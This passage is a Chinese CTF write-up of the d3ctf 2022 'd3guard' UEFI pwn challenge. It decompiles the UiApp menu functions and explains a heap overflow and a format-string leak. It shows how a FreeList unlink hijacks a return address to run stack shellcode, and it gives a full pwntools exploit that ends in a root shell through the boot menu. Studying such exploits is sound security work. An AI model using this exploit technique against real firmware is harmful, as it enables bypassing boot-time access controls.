i64); } } } while ( choice != 2 ); return Visitor(); }
Visitor 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 __int64 Visitor () { int v0; do { while ( 1 ) { while ( 1 ) { while ( 1 ) { VisitorMenu(); v0 = inputNum(); if ( v0 != 3 ) break ; clearUser(); } if ( v0 > 3 ) break ; if ( v0 == 1 ) { Add(); } else { if ( v0 != 2 ) goto LABEL_12; Edit(); } } if ( v0 == 4 ) break ; LABEL_12: Output("U" ); } Output((unsigned __int8 *)L"Saving...\n" ); } while ( !SaveInfo() ); Output("P" ); WaitEndInfo(); return 1 i64; }
Add 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 __int64 __fastcall Add () { unsigned int v0; LOBYTE(v0) = 1 ; if ( !USER ) { ((void (__fastcall *)(_QWORD, __int64, user **))gBS->AllocatePool)(0 i64, 0x18 i64, &USER); if ( !USER ) return 0 ; init_info(USER, &word_18); Output("I" ); USER->ID = (int )inputNum(); ((void (__fastcall *)(_QWORD, __int64, char **))gBS->AllocatePool)(0 i64, 0x18 i64, &USER->Name); if ( !USER->Name ) return 0 ; Output("N" ); Input(DataTempBuffer, (int )&dword_100); Unicode2Ascii(DataTempBuffer, USER->Name, 0x18 i64); ((void (__fastcall *)(_QWORD, __int64, char **))gBS->AllocatePool)(0 i64, 0x38 i64, &USER->Desc); if ( USER->Desc ) { Output((unsigned __int8 *)L"Desc: " ); Input(DataTempBuffer, (int )&dword_100); Unicode2Ascii(DataTempBuffer, USER->Desc, 0x38 i64); } else { return 0 ; } } return v0; }
Edit 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 char Edit () { int v1; __int64 DataSize; char *Desc; if ( !USER ) return 0 ; if ( !USER->Name ) { ((void (__fastcall *)(_QWORD, __int64, char **))gBS->AllocatePool)(0 i64, 0x18 i64, &USER->Name); if ( !USER->Name ) return 0 ; } if ( !USER->Desc ) { ((void (__fastcall *)(_QWORD, __int64, char **))gBS->AllocatePool)(0 i64, 0x38 i64, &USER->Desc); if ( !USER->Desc ) return 0 ; } Output((unsigned __int8 *)&word_19476); Output((unsigned __int8 *)L"2. Edit Desc.\n" ); Output((unsigned __int8 *)L">> " ); v1 = inputNum(); if ( v1 != 1 ) { if ( v1 == 2 ) { Output((unsigned __int8 *)L"Desc: " ); Input(DataTempBuffer, (int )&dword_100); DataSize = 0x80 i64; Desc = USER->Desc; goto LABEL_12; } return 0 ; } Output("N" ); Input(DataTempBuffer, (int )&dword_100); DataSize = 0x18 i64; Desc = USER->Name; LABEL_12: Unicode2Ascii(DataTempBuffer, Desc, DataSize); return 1 ; }
clearUser 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 char clearUser () { char result; user *v1; result = 0 ; if ( USER && USER->Name ) { if ( USER->Desc ) { gBS->FreePool(); v1 = USER; USER->Name = 0 i64; ((void (__fastcall *)(char *))gBS->FreePool)(v1->Desc); USER->Desc = 0 i64; return 1 ; } } return result; }
SaveInfo 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 char SaveInfo () { char *Name; size_t StrLength; char *Desc; size_t v3; char result; if ( !USER ) return 0 ; ((void (__fastcall *)(__int64, __int64, info **))gBS->AllocatePool)(0xA i64, 0x58 i64, &info); init_info(&info, &word_8); info->ID = USER->ID; Name = USER->Name; if ( Name ) { StrLength = 0x18 i64; } else { Name = "Anonymous" ; StrLength = GetStrLength("Anonymous" ); } memcpy (info->Name, Name, StrLength); Desc = USER->Desc; if ( Desc ) { v3 = 0x38 i64; } else { Desc = "Nothing..." ; v3 = GetStrLength("Nothing..." ); } memcpy (info->Desc, Desc, v3); ((void (__fastcall *)(char *))gBS->FreePool)(USER->Name); ((void (__fastcall *)(char *))gBS->FreePool)(USER->Desc); ((void (__fastcall *)(user *))gBS->FreePool)(USER); result = 1 ; USER = 0 i64; return result; }
漏洞分析与利用 这道题有两个漏洞,第一个是在 Edit 函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 ...... v1 = inputNum(); if ( v1 != 1 ) { if ( v1 == 2 ) { Output((unsigned __int8 *)L"Desc: " ); Input(DataTempBuffer, (int )&dword_100); DataSize = 0x80 i64; Desc = USER->Desc; goto LABEL_12; } return 0 ; } Output("N" ); Input(DataTempBuffer, (int )&dword_100); DataSize = 0x18 i64; Desc = USER->Name; LABEL_12: Unicode2Ascii(DataTempBuffer, Desc, DataSize); ......
当我们选择编辑 Desc 的时候我们最多可以输入 0x80 字节的数据,可是 Desc 的 size 为 0x38,这里就存在堆溢出。另外一个漏洞比较难找,就是在选择 role 为 Administrator 时输入用户名那里存在格式化字符串漏洞:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ...... Input(AdministratorName, (int )&byte_40[1 ]); if ( checkUser("A" , AdministratorName) ){ Output("\n" ); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 4 i64); Output((unsigned __int8 *)AdministratorName); ((void (__fastcall *)(EFI_SIMPLE_TEXT_OUTPUT_PROTOCOL *, __int64))SystemTable->ConOut->SetAttribute)( SystemTable->ConOut, 15 i64); Output("]" ); } ......
这里的格式化字符串漏洞和我们平时 printf 的有点不一样,只能够通过多个 %p 进行信息的泄露,而且不能够像 printf 那样实现任意地址的读写。我们能够通过这个漏洞来获取到栈地址以及 UiApp 组件的基地址。
有个需要注意的点是,在 Add 函数和 Edit 函数在进行堆块申请的时候 EFI_MEMORY_TYPE 都为 0,而在 SaveInfo 申请堆块的时候 EFI_MEMORY_TYPE 为 10。 由于在 UiApp 中并没有像平时 linux pwn 上的 got 表什么的,也没有 glibc 上面的各种 hook 和 IO,所以我们要像办法劫持栈上的返回地址。
通过我们前面的分析,相同的 size 的堆块如果它的 EFI_MEMORY_TYPE 不同,那么他们就会给分配到不同的 POOL,如果我们可以通过 Desc 的溢出将 Name 的堆块给改了的话,那么在 free 的时候 Name 就会给分配到另外一个 POOL 的 FreeList 中。由于 Name 比 Desc 先申请,所以 Name 的地址在 Desc 的上方,可是 FreeList 是遵循后进先出的,所以我们可以通过释放 Name 和 Desc 再重新申请就能令 Desc 出现在 Name 的上方,然后通过溢出就能修改 Name 的 EFI_MEMORY_TYPE,最后将其释放链入到不同 POOL 的 FreeList[0] 中。这里需要注意的是我们的输入会出现 \x00 截断,所以我们的 payload 要分多段输入。其最终效果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 pwndbg> x/30gx 0x2e352f00 0x2e352f00: 0x0000000030726670 0x000000002e7c9e18 <---- mPoolHead[0].FreeList[0] 0x2e352f10: 0x000000002e7c9e18 0xafafafafafafafaf 0x2e352f20: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352f30: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352f40: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352f50: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352f60: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352f70: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352f80: 0x0000000030726670 0x000000002e7ca728 <---- mPoolHead[10].FreeList[0] 0x2e352f90: 0x000000002e7ca728 0xafafafafafafafaf 0x2e352fa0: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352fb0: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352fc0: 0xafafafafafafafaf 0xafafafafafafafaf 0x2e352fd0: 0xafafafafafafafaf 0xafafafafafafafaf
接下来就要考虑如何覆盖栈上的返回地址,这里涉及到 FreeList 上堆块的脱链操作,其相关代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 LIST_ENTRY * EFIAPI RemoveEntryList ( IN CONST LIST_ENTRY *Entry ) { ASSERT (!IsListEmpty (Entry)); Entry->ForwardLink->BackLink = Entry->BackLink; Entry->BackLink->ForwardLink = Entry->ForwardLink; return Entry->ForwardLink; }
可以看到,如果我们能够将下一个要申请出来的堆块的 BackLink 修改为栈上 ret 的地址,ForwardLink 上写上用于覆盖 ret 的地址,那么我们在申请出该堆块的时候就能够将 ret 所指向的地址的指修改为 ForwardLink 上的值。由于我们存在堆溢出漏洞,而且已经获取了 stack 和 UiApp 的地址,所以这个 ForwardLink 和 BackLink 指针的修改很容易实现。 由于 pwn() 的上层函数 _ModuleEntryPoint + 718 的位置会判断 pwn() 的返回值以决定是否进入 Boot Manager 交互界面,我们可以直接将程序劫持到这个地方。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ...... if ( (unsigned int )pwn() ){ v142 = 0x800000000000000F ui64; Output(L"UiEntry: ACCESS DENIED!" ); } else { sub_6107(1 i64, 50659335 i64); sub_11117(); sub_13FAC(); ......
可是当我将 ForwardLink 直接修改为 UiApp 上对应的地址的时候却出现了报错:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 !!!! X64 Exception Type - 06( RIP - 00000000121B4982, CS - 0000000000000038, RFLAGS - 0000000000000246 RAX - 0000000000000001, RCX - 00000000E7180001, RDX - 0000000003050007 RBX - 00000000121C7321, RSP - 00000000139AE720, RBP - 0000000000000001 RSI - 0000000012AEE9B7, RDI - 0000000000000000 R8 - 0000000000000004, R9 - 00000000139AE507, R10 - 0000000000000000 R11 - 0000000012A9DB5C, R12 - 0000000000000001, R13 - 00000000121DFA98 R14 - 0000000000000001, R15 - 00000000121C8FA0 DS - 0000000000000030, ES - 0000000000000030, FS - 0000000000000030 GS - 0000000000000030, SS - 0000000000000030 CR0 - 0000000080010033, CR2 - 0000000000000000, CR3 - 0000000013601000 CR4 - 0000000000000668, CR8 - 0000000000000000 DR0 - 0000000000000000, DR1 - 0000000000000000, DR2 - 0000000000000000 DR3 - 0000000000000000, DR6 - 00000000FFFF0FF0, DR7 - 0000000000000400 GDTR - 00000000133DE000 0000000000000047, LDTR - 0000000000000000 IDTR - 0000000013032018 0000000000000FFF, TR - 0000000000000000 FXSAVE_STATE - 00000000139AE380 !!!! Find image based on IP(0x121B4982) (No PDB) (ImageBase=00000000121A9000, EntryPoint=00000000121B352E) !!!!
我将断点下在执行 ret 的那一步然后在gdb 上看 _ModuleEntryPoint + 718 对应的汇编,其值如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 pwndbg> x/16i 0x273b4982 0x273b4982: call 0x273af107 0x273b4987: call 0xe53a117 0x273b498c: stos BYTE PTR es:[rdi],al 0x273b498d: sub BYTE PTR [rax],al 0x273b498f: add BYTE PTR [rax],al 0x273b4991: add BYTE PTR [rbx+0x14f3005],cl 0x273b4997: add BYTE PTR [rcx],dh 0x273b4999: ror BYTE PTR [rbp+rcx*4-0x7c],cl 0x273b499d: and al,0xb8 0x273b499f: add BYTE PTR [rax],al 0x273b49a1: add BYTE PTR [rax-0x73],cl 0x273b49a4: or eax,0x12757 0x273b49a9: call QWORD PTR [rax+0x140] 0x273b49af: test rax,rax 0x273b49b2: js 0x273b49e0 0x273b49b4: mov rax,QWORD PTR [rsp+0xb8]
而在 IDA 中的汇编如下:
1 2 3 4 5 6 7 8 9 10 11 .text:000000000000B982 call sub_6107 .text:000000000000B987 call sub_11117 .text:000000000000B98C call sub_13FAC .text:000000000000B991 mov rax, cs:gBS .text:000000000000B998 xor edx, edx .text:000000000000B99A lea r8, [rsp+138h+var_80] .text:000000000000B9A2 lea rcx, unk_1E100 .text:000000000000B9A9 call qword ptr [rax+140h] .text:000000000000B9AF test rax, rax .text:000000000000B9B2 js short loc_B9E0 .text:000000000000B9B4 mov rax, [rsp+138h+var_80]
然后我绞尽脑汁想了半天,期间还找了出题人问了一下,最后发现是一个很低级和基础的问题😇。可能是由于 qemu 的缘故或者是其他什么的原因,导致 UiApp 的 text 段可写,而堆块在脱链的过程中存在下面这一步:
1 Entry->ForwardLink->BackLink = Entry->BackLink;
也就是说我们目标地址偏移为 8 的地方会给写入一个地址,这样子就导致我们 UiApp 的 text 段被修改,后面的操作就会出现错误。 我们观察到栈上可执行,所以我们可以在栈上写入 shellcode 然后将 ret 覆盖为 shellocde 的地址,其 shellcode 如下:
1 2 3 4 5 6 jmp WIN; .byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90; .byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90; WIN: mov rax, uiapp_base + 0xb982; jmp rax;
中间的 0x90 是为了填充数据,在堆块脱链的时候这部分会给修改为一个地址,不过由于我们前面直接 jmp 到后面的关键代码去了,所以 shellcode 的执行不会受到影响。 shellcode 我们可以在选择 Administrator 用户登录输入 key 时将其保留到栈上。
exp 和上面那题一样,由于 Boot Manager 是可视化界面,在 pwntools 上非常难看,所以这里使用 socat 连接。
exp.sh 1 2 #!/bin/bash socat $(tty ),echo =0,escape=0x03 SYSTEM:'python3 ./exp.py' 2>&1
exp.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 from pwn import *p = process(['python3' ,'run.py' ]) context.arch = "amd64" def lg (buf ): log.success(f'\033[33m{buf} :{eval (buf):#x} \033[0m' ) def role (index ): p.recvuntil(b'(1. Administrator 2. Visitor):' ) p.send(str (index).encode()+b'\r' ) def menu (index ): p.recvuntil(b'>>' ) p.send(str (index).encode()+b'\r' ) def add (name,desc,id =10 ): menu(1 ) p.recvuntil(b'ID:' ) p.send(str (id ).encode()+b'\r' ) p.recvuntil(b'Name:' ) p.send(name+b'\r' ) p.recvuntil(b'Desc:' ) p.send(desc+b'\r' ) def edit (choice,msg ): menu(2 ) menu(choice) if choice == 1 : p.recvuntil(b'Name:' ) p.send(msg+b'\r' ) if choice == 2 : p.recvuntil(b'Desc:' ) p.send(msg+b'\r' ) def free (): menu(3 ) def enterOS (): menu(4 ) key_map = { b"up" : b"\x1b[A" , b"down" : b"\x1b[B" , b"left" : b"\x1b[D" , b"right" : b"\x1b[C" , b"esc" : b"\x1b^[" , b"enter" : b"\r" , b"tab" : b"\t" } def send_key (key,times = 1 ): for _ in range (times): p.send(key_map[key]) if key == b"enter" : p.recv() p.sendline(b"\x1b[24~" *10 ) role(1 ) p.recvuntil(b'Username:' ) p.send(b'%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p\r' ) p.recvuntil(b"User [" ) for _ in range (4 ): p.recvuntil(b"." ) stack = int (p.recvuntil(b"." , drop=True ), 16 ) for _ in range (11 ): p.recvuntil(b"." ) leak = int (p.recvuntil(b"." , drop=True ), 16 ) uiapp_base = leak - 0x173f5 lg("stack" ) lg("leak" ) lg("uiapp_base" ) p.sendafter(b"Visitor): " , b"1\r" ) p.sendafter(b"Username: " , b"Admin\r" ) shellcode = asm(f''' jmp WIN; .byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90; .byte 0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90; WIN: mov rax, {uiapp_base + 0xb982 } ; jmp rax; ''' )p.sendafter(b"Pass key: " , shellcode+b"\r" ) role(2 ) add(b'a' *0x10 ,b'b' *0x20 ) free() payload = b'c' *0x38 + p64(0xafafafafafafafaf )*7 + p8(10 ) edit(2 ,payload) for i in range (4 ): payload = b'c' *0x38 + p64(0xafafafafafafafaf )*6 + b'\xaf' *(7 -i) edit(2 ,payload) payload = b'c' *0x38 + p64(0xafafafafafafafaf )*6 + p32(0x30646870 ) edit(2 ,payload) for i in range (7 ): payload = b'a' *0x38 + p64(0xafafafaf6c617470 ) + p8(0x60 ) + b'\xaf' *(6 -i) edit(2 ,payload) free() edit(2 ,b'a' ) free() ret = stack - 0x104ba shellcode = ret - 0x49 lg("ret" ) lg("shellcode" ) payload = b'\xef' *0x78 + p32(ret) edit(2 , payload) for i in range (4 ): payload = b'\xef' *0x70 + p32(shellcode) + b'\xaf' *(3 -i) edit(2 , payload) for i in range (4 ): payload = b'\xef' *0x68 + p32(0x30726670 ) + b'\xaf' *(3 -i) edit(2 , payload) for i in range (7 ): payload = b'a' *0x38 + p64(0xafafafaf6c617470 ) + p8(0x60 ) + b'\xaf' *(6 -i) edit(2 ,payload) enterOS() p.recvuntil(b'Press any key to continue...' ) p.send(b'\r' ) p.recvuntil(b"Standard PC" ) send_key(b"down" , 3 ) send_key(b"enter" ) send_key(b"enter" ) send_key(b"down" ) send_key(b"enter" ) send_key(b"enter" ) send_key(b"down" , 3 ) send_key(b"enter" ) p.send(b"\rrootshell\r" ) send_key(b"down" ) p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r" ) send_key(b"down" ) send_key(b"enter" ) send_key(b"up" ) send_key(b"enter" ) send_key(b"esc" ) send_key(b"enter" ) send_key(b"down" , 3 ) send_key(b"enter" ) p.interactive()
学习文章 从一道题入门 UEFI PWN d3ctf-2022-pwn-d3guard